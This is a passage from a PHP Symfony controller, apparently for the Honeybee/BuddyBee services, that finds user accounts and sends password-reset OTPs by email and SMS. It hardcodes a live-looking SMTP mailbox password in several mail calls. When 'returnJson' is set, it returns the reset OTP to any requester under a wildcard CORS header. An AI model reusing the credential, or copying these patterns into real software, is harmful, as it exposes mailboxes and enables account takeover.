  8473.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8474.                             array(
  8475.                                 'username' => $email_address
  8476.                             )
  8477.                         );
  8478.                     }
  8479.                 }
  8480.                 if ($userObj) {
  8481.                     $email_address $userObj->getEmail();
  8482.                     if ($email_address == null || $email_address == '')
  8483.                         $email_address $userObj->getOAuthEmail();
  8484.                     //                    triggerResetPassword:
  8485. //                    type: integer
  8486. //                          nullable: true
  8487.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8488.                     $otp $otpData['otp'];
  8489.                     $otpExpireTs $otpData['expireTs'];
  8490.                     $userObj->setOtp($otpData['otp']);
  8491.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8492.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8493.                     $em_goc->flush();
  8494.                     $userData = array(
  8495.                         'id' => $userObj->getApplicantId(),
  8496.                         'email' => $email_address,
  8497.                         'appId' => 0,
  8498.                         'image' => $userObj->getImage(),
  8499.                         'firstName' => $userObj->getFirstname(),
  8500.                         'lastName' => $userObj->getLastname(),
  8501.                         'phone' => $userObj->getPhone(),
  8502. //                        'appId'=>$userObj->getUserAppId(),
  8503.                     );
  8504.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8505.                     $email_twig_data = [
  8506.                         'page_title' => 'Find Account',
  8507.                         'encryptedData' => $encryptedData,
  8508.                         'message' => $message,
  8509.                         'userType' => $userType,
  8510.                         'errorField' => $errorField,
  8511.                         'otp' => $otpData['otp'],
  8512.                         'otpExpireSecond' => $otpExpireSecond,
  8513.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8514.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8515.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8516.                         'otpExpireTs' => $otpData['expireTs'],
  8517.                         'systemType' => $systemType,
  8518.                         'userCategory' => $userCategory,
  8519.                         'userData' => $userData
  8520.                     ];
  8521.                     $email_twig_data['success'] = true;
  8522.                 } else {
  8523.                     $message "Oops! Could not find your account";
  8524.                     $email_twig_data['success'] = false;
  8525.                 }
  8526.             } else if ($systemType == '_BUDDYBEE_') {
  8527.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8528.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8529.                     array(
  8530.                         'email' => $email_address
  8531.                     )
  8532.                 );
  8533.                 if ($userObj) {
  8534.                 } else {
  8535.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8536.                         array(
  8537.                             'oAuthEmail' => $email_address
  8538.                         )
  8539.                     );
  8540.                     if ($userObj) {
  8541.                     } else {
  8542.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8543.                             array(
  8544.                                 'username' => $email_address
  8545.                             )
  8546.                         );
  8547.                     }
  8548.                 }
  8549.                 if ($userObj) {
  8550.                     $email_address $userObj->getEmail();
  8551.                     if ($email_address == null || $email_address == '')
  8552.                         $email_address $userObj->getOAuthEmail();
  8553.                     //                    triggerResetPassword:
  8554. //                    type: integer
  8555. //                          nullable: true
  8556.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8557.                     $otp $otpData['otp'];
  8558.                     $otpExpireTs $otpData['expireTs'];
  8559.                     $userObj->setOtp($otpData['otp']);
  8560.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8561.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8562.                     $em_goc->flush();
  8563.                     $userData = array(
  8564.                         'id' => $userObj->getApplicantId(),
  8565.                         'email' => $email_address,
  8566.                         'appId' => 0,
  8567.                         'image' => $userObj->getImage(),
  8568.                         'firstName' => $userObj->getFirstname(),
  8569.                         'lastName' => $userObj->getLastname(),
  8570.                         'phone' => $userObj->getPhone(),
  8571. //                        'appId'=>$userObj->getUserAppId(),
  8572.                     );
  8573.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8574.                     $email_twig_data = [
  8575.                         'page_title' => 'Find Account',
  8576.                         'encryptedData' => $encryptedData,
  8577.                         'message' => $message,
  8578.                         'userType' => $userType,
  8579.                         'errorField' => $errorField,
  8580.                         'otp' => $otpData['otp'],
  8581.                         'otpExpireSecond' => $otpExpireSecond,
  8582.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8583.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8584.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8585.                         'otpExpireTs' => $otpData['expireTs'],
  8586.                         'systemType' => $systemType,
  8587.                         'userCategory' => $userCategory,
  8588.                         'userData' => $userData
  8589.                     ];
  8590.                     $email_twig_data['success'] = true;
  8591.                 } else {
  8592.                     $message "Oops! Could not find your account";
  8593.                     $email_twig_data['success'] = false;
  8594.                 }
  8595.             }
  8596.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8597.                 if ($systemType == '_BUDDYBEE_') {
  8598.                     $bodyHtml '';
  8599.                     $bodyTemplate $email_twig_file;
  8600.                     $bodyData $email_twig_data;
  8601.                     $attachments = [];
  8602.                     $forwardToMailAddress $email_address;
  8603. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8604.                     $new_mail $this->get('mail_module');
  8605.                     $new_mail->sendMyMail(array(
  8606.                         'senderHash' => '_CUSTOM_',
  8607.                         //                        'senderHash'=>'_CUSTOM_',
  8608.                         'forwardToMailAddress' => $forwardToMailAddress,
  8609.                         'subject' => 'Account Verification',
  8610. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8611.                         'attachments' => $attachments,
  8612.                         'toAddress' => $forwardToMailAddress,
  8613.                         'fromAddress' => 'no-reply@buddybee.eu',
  8614.                         'userName' => 'no-reply@buddybee.eu',
  8615.                         'password' => 'Honeybee@0112',
  8616.                         'smtpServer' => 'smtp.hostinger.com',
  8617.                         'smtpPort' => 465,
  8618. //                            'emailBody' => $bodyHtml,
  8619.                         'mailTemplate' => $bodyTemplate,
  8620.                         'templateData' => $bodyData,
  8621. //                        'embedCompanyImage' => 1,
  8622. //                        'companyId' => $companyId,
  8623. //                        'companyImagePath' => $company_data->getImage()
  8624.                     ));
  8625.                 } else if ($systemType == '_CENTRAL_') {
  8626.                     $bodyHtml '';
  8627.                     $bodyTemplate $email_twig_file;
  8628.                     $bodyData $email_twig_data;
  8629.                     $attachments = [];
  8630.                     $forwardToMailAddress $email_address;
  8631. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8632.                     $new_mail $this->get('mail_module');
  8633.                     $new_mail->sendMyMail(array(
  8634.                         'senderHash' => '_CUSTOM_',
  8635.                         //                        'senderHash'=>'_CUSTOM_',
  8636.                         'forwardToMailAddress' => $forwardToMailAddress,
  8637.                         'subject' => 'Account Verification',
  8638. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8639.                         'attachments' => $attachments,
  8640.                         'toAddress' => $forwardToMailAddress,
  8641.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8642.                         'userName' => 'accounts@ourhoneybee.eu',
  8643.                         'password' => 'Honeybee@0112',
  8644.                         'smtpServer' => 'smtp.hostinger.com',
  8645.                         'smtpPort' => 465,
  8646. //                            'emailBody' => $bodyHtml,
  8647.                         'mailTemplate' => $bodyTemplate,
  8648.                         'templateData' => $bodyData,
  8649. //                        'embedCompanyImage' => 1,
  8650. //                        'companyId' => $companyId,
  8651. //                        'companyImagePath' => $company_data->getImage()
  8652.                     ));
  8653.                 } else {
  8654.                     $bodyHtml '';
  8655.                     $bodyTemplate $email_twig_file;
  8656.                     $bodyData $email_twig_data;
  8657.                     $attachments = [];
  8658.                     $forwardToMailAddress $email_address;
  8659. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8660.                     $new_mail $this->get('mail_module');
  8661.                     $new_mail->sendMyMail(array(
  8662.                         'senderHash' => '_CUSTOM_',
  8663.                         //                        'senderHash'=>'_CUSTOM_',
  8664.                         'forwardToMailAddress' => $forwardToMailAddress,
  8665.                         'subject' => 'Applicant Registration on Honeybee',
  8666. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8667.                         'attachments' => $attachments,
  8668.                         'toAddress' => $forwardToMailAddress,
  8669.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8670.                         'userName' => 'accounts@ourhoneybee.eu',
  8671.                         'password' => 'Honeybee@0112',
  8672.                         'smtpServer' => 'smtp.hostinger.com',
  8673.                         'smtpPort' => 465,
  8674.                         'emailBody' => $bodyHtml,
  8675.                         'mailTemplate' => $bodyTemplate,
  8676.                         'templateData' => $bodyData,
  8677. //                        'embedCompanyImage' => 1,
  8678. //                        'companyId' => $companyId,
  8679. //                        'companyImagePath' => $company_data->getImage()
  8680.                     ));
  8681.                 }
  8682.             }
  8683.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8684.                 if ($systemType == '_BUDDYBEE_') {
  8685.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8686.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8687.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8688.                      _APPEND_CODE_';
  8689.                     $msg str_replace($searchVal$replaceVal$msg);
  8690.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8691.                     $sendType 'all';
  8692.                     $socketUserIds = [];
  8693.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8694.                 } else {
  8695.                 }
  8696.             }
  8697.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8698.                 $response = new JsonResponse(array(
  8699.                         'templateData' => $twigData,
  8700.                         'message' => $message,
  8701. //                        "otp"=>'',
  8702.                         "otp" => $otp,
  8703.                         "otpExpireTs" => $otpExpireTs,
  8704.                         'actionData' => $email_twig_data,
  8705.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8706.                     )
  8707.                 );
  8708.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8709.                 return $response;
  8710.             } else if ($email_twig_data['success'] == true) {
  8711.                 $encData = array(
  8712.                     "userType" => $userType,
  8713.                     "otp" => '',
  8714. //                "otp"=>$otp,
  8715.                     "otpExpireTs" => $otpExpireTs,
  8716.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8717.                     "userCategory" => $userCategory,
  8718.                     "userId" => $userData['id'],
  8719.                     "systemType" => $systemType,
  8720.                     "email" => $email_address,
  8721.                 );
  8722.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8723.                 $url $this->generateUrl(
  8724.                     'verify_otp'
  8725.                 );
  8726.                 return $this->redirect($url "/" $encDataStr);
  8727. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8728. ////                    'encData'
  8729. ////                'id' => $isApplicantExist->getApplicantId(),
  8730. ////                'oAuthData' => $oAuthData,
  8731. ////                'refRoute' => $refRoute,
  8732. //                ]);
  8733.             }
  8734.         }
  8735.         if ($systemType == '_ERP_') {
  8736.             if ($userCategory == '_APPLICANT_') {
  8737.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8738.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8739.                 $twigData = [
  8740.                     'page_title' => 'Find Account',
  8741.                     'encryptedData' => $encryptedData,
  8742.                     'message' => $message,
  8743.                     'systemType' => $systemType,
  8744.                     'ownServerId' => $ownServerId,
  8745.                     'userType' => $userType,
  8746.                     'errorField' => $errorField,
  8747.                 ];
  8748.             } else {
  8749.                 $userType UserConstants::USER_TYPE_GENERAL;
  8750.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8751.                 $twigData = [
  8752.                     'page_title' => 'Find Account',
  8753.                     'encryptedData' => $encryptedData,
  8754.                     'systemType' => $systemType,
  8755.                     'ownServerId' => $ownServerId,
  8756.                     'message' => $message,
  8757.                     'userType' => $userType,
  8758.                     'errorField' => $errorField,
  8759.                 ];
  8760.             }
  8761.         } else if ($systemType == '_SOPHIA_') {
  8762.             $userType UserConstants::USER_TYPE_APPLICANT;
  8763.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8764.             $twigData = [
  8765.                 'page_title' => 'Find Account',
  8766.                 'encryptedData' => $encryptedData,
  8767.                 'systemType' => $systemType,
  8768.                 'ownServerId' => $ownServerId,
  8769.                 "otp" => '',
  8770. //                "otp"=>$otp,
  8771.                 "otpExpireTs" => $otpExpireTs,
  8772.                 'message' => $message,
  8773.                 'userType' => $userType,
  8774.                 'errorField' => $errorField,
  8775.             ];
  8776.         } else if ($systemType == '_CENTRAL_') {
  8777.             $userType UserConstants::USER_TYPE_APPLICANT;
  8778.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8779.             $twigData = [
  8780.                 'page_title' => 'Find Account',
  8781.                 'encryptedData' => $encryptedData,
  8782.                 'systemType' => $systemType,
  8783.                 'ownServerId' => $ownServerId,
  8784.                 "otp" => '',
  8785. //                "otp"=>$otp,
  8786.                 "otpExpireTs" => $otpExpireTs,
  8787.                 'message' => $message,
  8788.                 'userType' => $userType,
  8789.                 'errorField' => $errorField,
  8790.             ];
  8791.         } else if ($systemType == '_BUDDYBEE_') {
  8792.             $userType UserConstants::USER_TYPE_APPLICANT;
  8793.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8794.             $twigData = [
  8795.                 'page_title' => 'Find Account',
  8796.                 'encryptedData' => $encryptedData,
  8797.                 "otp" => '',
  8798.                 'systemType' => $systemType,
  8799.                 'ownServerId' => $ownServerId,
  8800. //                "otp"=>$otp,
  8801.                 "otpExpireTs" => $otpExpireTs,
  8802.                 'message' => $message,
  8803.                 'userType' => $userType,
  8804.                 'errorField' => $errorField,
  8805.             ];
  8806.         }
  8807.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8808.             $response = new JsonResponse(array(
  8809.                     'templateData' => $twigData,
  8810.                     'message' => $message,
  8811.                     "otp" => '',
  8812. //                "otp"=>$otp,
  8813.                     "otpExpireTs" => $otpExpireTs,
  8814.                     'actionData' => $email_twig_data,
  8815.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8816.                 )
  8817.             );
  8818.             $response->headers->set('Access-Control-Allow-Origin''*');
  8819.             return $response;
  8820.         } else {
  8821.             return $this->render(
  8822.                 $twig_file,
  8823.                 $twigData
  8824.             );
  8825.         }
  8826.     }
  8827.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8828.     {
  8829. //        $userCategory=$request->request->has('userCategory');
  8830.         $encryptedData = [];
  8831.         $errorField '';
  8832.         $message '';
  8833.         $userType '';
  8834.         $otpExpireSecond 180;
  8835.         $otpExpireTs 0;
  8836.         $otp '';
  8837.         if ($encData != '')
  8838.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8839. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8840.         $userCategory '_BUDDYBEE_USER_';
  8841.         if (isset($encryptedData['userCategory']))
  8842.             $userCategory $encryptedData['userCategory'];
  8843.         else
  8844.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8845.         $em $this->getDoctrine()->getManager('company_group');
  8846.         $em_goc $this->getDoctrine()->getManager('company_group');
  8847.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8848.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8849.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8850.         $twigData = [];
  8851.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8852.         $email_address $request->request->get('email''');
  8853.         $email_twig_data = [];
  8854.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8855.         if ($request->isMethod('POST')) {
  8856.             //set an otp and its expire and send mail
  8857.             $email_address $request->request->get('email');
  8858.             $userObj null;
  8859.             $userData = [];
  8860.             if ($systemType == '_ERP_') {
  8861.                 if ($userCategory == '_APPLICANT_') {
  8862.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8863.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8864.                         array(
  8865.                             'email' => $email_address
  8866.                         )
  8867.                     );
  8868.                     if ($userObj) {
  8869.                     } else {
  8870.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8871.                             array(
  8872.                                 'oAuthEmail' => $email_address
  8873.                             )
  8874.                         );
  8875.                         if ($userObj) {
  8876.                         } else {
  8877.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8878.                                 array(
  8879.                                     'username' => $email_address
  8880.                                 )
  8881.                             );
  8882.                         }
  8883.                     }
  8884.                     if ($userObj) {
  8885.                         $email_address $userObj->getEmail();
  8886.                         if ($email_address == null || $email_address == '')
  8887.                             $email_address $userObj->getOAuthEmail();
  8888.                     }
  8889. //                    triggerResetPassword:
  8890. //                    type: integer
  8891. //                          nullable: true
  8892.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8893.                     $otp $otpData['otp'];
  8894.                     $otpExpireTs $otpData['expireTs'];
  8895.                     $userObj->setOtp($otpData['otp']);
  8896.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8897.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8898.                     $em_goc->flush();
  8899.                     $userData = array(
  8900.                         'id' => $userObj->getApplicantId(),
  8901.                         'email' => $email_address,
  8902.                         'appId' => 0,
  8903. //                        'appId'=>$userObj->getUserAppId(),
  8904.                     );
  8905.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8906.                     $email_twig_data = [
  8907.                         'page_title' => 'Find Account',
  8908.                         'encryptedData' => $encryptedData,
  8909.                         'message' => $message,
  8910.                         'userType' => $userType,
  8911.                         'errorField' => $errorField,
  8912.                         'otp' => $otpData['otp'],
  8913.                         'otpExpireSecond' => $otpExpireSecond,
  8914.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8915.                         'otpExpireTs' => $otpData['expireTs'],
  8916.                         'systemType' => $systemType,
  8917.                         'userData' => $userData
  8918.                     ];
  8919.                     if ($userObj)
  8920.                         $email_twig_data['success'] = true;
  8921.                 } else {
  8922.                     $userType UserConstants::USER_TYPE_GENERAL;
  8923.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8924.                     $email_twig_data = [
  8925.                         'page_title' => 'Find Account',
  8926.                         'encryptedData' => $encryptedData,
  8927.                         'message' => $message,
  8928.                         'userType' => $userType,
  8929.                         'errorField' => $errorField,
  8930.                     ];
  8931.                 }
  8932.             } else if ($systemType == '_CENTRAL_') {
  8933.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8934.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8935.                     array(
  8936.                         'email' => $email_address
  8937.                     )
  8938.                 );
  8939.                 if ($userObj) {
  8940.                 } else {
  8941.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8942.                         array(
  8943.                             'oAuthEmail' => $email_address
  8944.                         )
  8945.                     );
  8946.                     if ($userObj) {
  8947.                     } else {
  8948.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8949.                             array(
  8950.                                 'username' => $email_address
  8951.                             )
  8952.                         );
  8953.                     }
  8954.                 }
  8955.                 if ($userObj) {
  8956.                     $email_address $userObj->getEmail();
  8957.                     if ($email_address == null || $email_address == '')
  8958.                         $email_address $userObj->getOAuthEmail();
  8959.                     //                    triggerResetPassword:
  8960. //                    type: integer
  8961. //                          nullable: true
  8962.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8963.                     $otp $otpData['otp'];
  8964.                     $otpExpireTs $otpData['expireTs'];
  8965.                     $userObj->setOtp($otpData['otp']);
  8966.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8967.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8968.                     $em_goc->flush();
  8969.                     $userData = array(
  8970.                         'id' => $userObj->getApplicantId(),
  8971.                         'email' => $email_address,
  8972.                         'appId' => 0,
  8973.                         'image' => $userObj->getImage(),
  8974.                         'firstName' => $userObj->getFirstname(),
  8975.                         'lastName' => $userObj->getLastname(),
  8976.                         'phone' => $userObj->getPhone(),
  8977. //                        'appId'=>$userObj->getUserAppId(),
  8978.                     );
  8979.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8980.                     $email_twig_data = [
  8981.                         'page_title' => 'Find Account',
  8982.                         'encryptedData' => $encryptedData,
  8983.                         'message' => $message,
  8984.                         'userType' => $userType,
  8985.                         'errorField' => $errorField,
  8986.                         'otp' => $otpData['otp'],
  8987.                         'otpExpireSecond' => $otpExpireSecond,
  8988.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8989.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8990.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8991.                         'otpExpireTs' => $otpData['expireTs'],
  8992.                         'systemType' => $systemType,
  8993.                         'userCategory' => $userCategory,
  8994.                         'userData' => $userData
  8995.                     ];
  8996.                     $email_twig_data['success'] = true;
  8997.                 } else {
  8998.                     $message "Oops! Could not find your account";
  8999.                     $email_twig_data['success'] = false;
  9000.                 }
  9001.             }
  9002.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  9003.                 if ($systemType == '_CENTRAL_') {
  9004.                     $bodyHtml '';
  9005.                     $bodyTemplate $email_twig_file;
  9006.                     $bodyData $email_twig_data;
  9007.                     $attachments = [];
  9008.                     $forwardToMailAddress $email_address;
  9009. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9010.                     $new_mail $this->get('mail_module');
  9011.                     $new_mail->sendMyMail(array(
  9012.                         'senderHash' => '_CUSTOM_',
  9013.                         //                        'senderHash'=>'_CUSTOM_',
  9014.                         'forwardToMailAddress' => $forwardToMailAddress,
  9015.                         'subject' => 'Account Verification',
  9016. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9017.                         'attachments' => $attachments,
  9018.                         'toAddress' => $forwardToMailAddress,
  9019.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9020.                         'userName' => 'accounts@ourhoneybee.eu',
  9021.                         'password' => 'Honeybee@0112',
  9022.                         'smtpServer' => 'smtp.hostinger.com',
  9023.                         'smtpPort' => 465,
  9024. //                            'emailBody' => $bodyHtml,
  9025.                         'mailTemplate' => $bodyTemplate,
  9026.                         'templateData' => $bodyData,
  9027. //                        'embedCompanyImage' => 1,
  9028. //                        'companyId' => $companyId,
  9029. //                        'companyImagePath' => $company_data->getImage()
  9030.                     ));
  9031.                 } else {
  9032.                     $bodyHtml '';
  9033.                     $bodyTemplate $email_twig_file;
  9034.                     $bodyData $email_twig_data;
  9035.                     $attachments = [];
  9036.                     $forwardToMailAddress $email_address;
  9037. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9038.                     $new_mail $this->get('mail_module');
  9039.                     $new_mail->sendMyMail(array(
  9040.                         'senderHash' => '_CUSTOM_',
  9041.                         //                        'senderHash'=>'_CUSTOM_',
  9042.                         'forwardToMailAddress' => $forwardToMailAddress,
  9043.                         'subject' => 'Applicant Registration on Honeybee',
  9044. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9045.                         'attachments' => $attachments,
  9046.                         'toAddress' => $forwardToMailAddress,
  9047.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9048.                         'userName' => 'accounts@ourhoneybee.eu',
  9049.                         'password' => 'Honeybee@0112',
  9050.                         'smtpServer' => 'smtp.hostinger.com',
  9051.                         'smtpPort' => 465,
  9052.                         'emailBody' => $bodyHtml,
  9053.                         'mailTemplate' => $bodyTemplate,
  9054.                         'templateData' => $bodyData,
  9055. //                        'embedCompanyImage' => 1,
  9056. //                        'companyId' => $companyId,
  9057. //                        'companyImagePath' => $company_data->getImage()
  9058.                     ));
  9059.                 }
  9060.             }
  9061.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9062.                 if ($systemType == '_BUDDYBEE_') {
  9063.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9064.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9065.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9066.                      _APPEND_CODE_';
  9067.                     $msg str_replace($searchVal$replaceVal$msg);
  9068.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9069.                     $sendType 'all';
  9070.                     $socketUserIds = [];
  9071.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9072.                 } else {
  9073.                 }
  9074.             }
  9075.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9076.                 $response = new JsonResponse(array(
  9077.                         'templateData' => $twigData,
  9078.                         'message' => $message,
  9079. //                        "otp"=>'',
  9080.                         "otp" => $otp,
  9081.                         "otpExpireTs" => $otpExpireTs,
  9082.                         'actionData' => $email_twig_data,
  9083.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9084.                     )
  9085.                 );
  9086.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9087.                 return $response;
  9088.             } else if ($email_twig_data['success'] == true) {
  9089.                 $encData = array(
  9090.                     "userType" => $userType,
  9091.                     "otp" => '',
  9092. //                "otp"=>$otp,
  9093.                     "otpExpireTs" => $otpExpireTs,
  9094.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9095.                     "userCategory" => $userCategory,
  9096.                     "userId" => $userData['id'],
  9097.                     "systemType" => $systemType,
  9098.                     "email" => $email_address,
  9099.                 );
  9100.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9101.                 $url $this->generateUrl(
  9102.                     'verify_otp'
  9103.                 );
  9104.                 return $this->redirect($url "/" $encDataStr);
  9105. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9106. ////                    'encData'
  9107. ////                'id' => $isApplicantExist->getApplicantId(),
  9108. ////                'oAuthData' => $oAuthData,
  9109. ////                'refRoute' => $refRoute,
  9110. //                ]);
  9111.             }
  9112.         }
  9113.         if ($systemType == '_ERP_') {
  9114.             if ($userCategory == '_APPLICANT_') {
  9115.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9116.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9117.                 $twigData = [
  9118.                     'page_title' => 'Find Account',
  9119.                     'encryptedData' => $encryptedData,
  9120.                     'message' => $message,
  9121.                     'systemType' => $systemType,
  9122.                     'ownServerId' => $ownServerId,
  9123.                     'userType' => $userType,
  9124.                     'errorField' => $errorField,
  9125.                 ];
  9126.             } else {
  9127.                 $userType UserConstants::USER_TYPE_GENERAL;
  9128.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9129.                 $twigData = [
  9130.                     'page_title' => 'Find Account',
  9131.                     'encryptedData' => $encryptedData,
  9132.                     'systemType' => $systemType,
  9133.                     'ownServerId' => $ownServerId,
  9134.                     'message' => $message,
  9135.                     'userType' => $userType,
  9136.                     'errorField' => $errorField,
  9137.                 ];
  9138.             }
  9139.         } else if ($systemType == '_CENTRAL_') {
  9140.             $userType UserConstants::USER_TYPE_APPLICANT;
  9141.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9142.             $twigData = [
  9143.                 'page_title' => 'Find Account',
  9144.                 'encryptedData' => $encryptedData,
  9145.                 'systemType' => $systemType,
  9146.                 'ownServerId' => $ownServerId,
  9147.                 "otp" => '',
  9148. //                "otp"=>$otp,
  9149.                 "otpExpireTs" => $otpExpireTs,
  9150.                 'message' => $message,
  9151.                 'userType' => $userType,
  9152.                 'errorField' => $errorField,
  9153.             ];
  9154.         } else if ($systemType == '_BUDDYBEE_') {
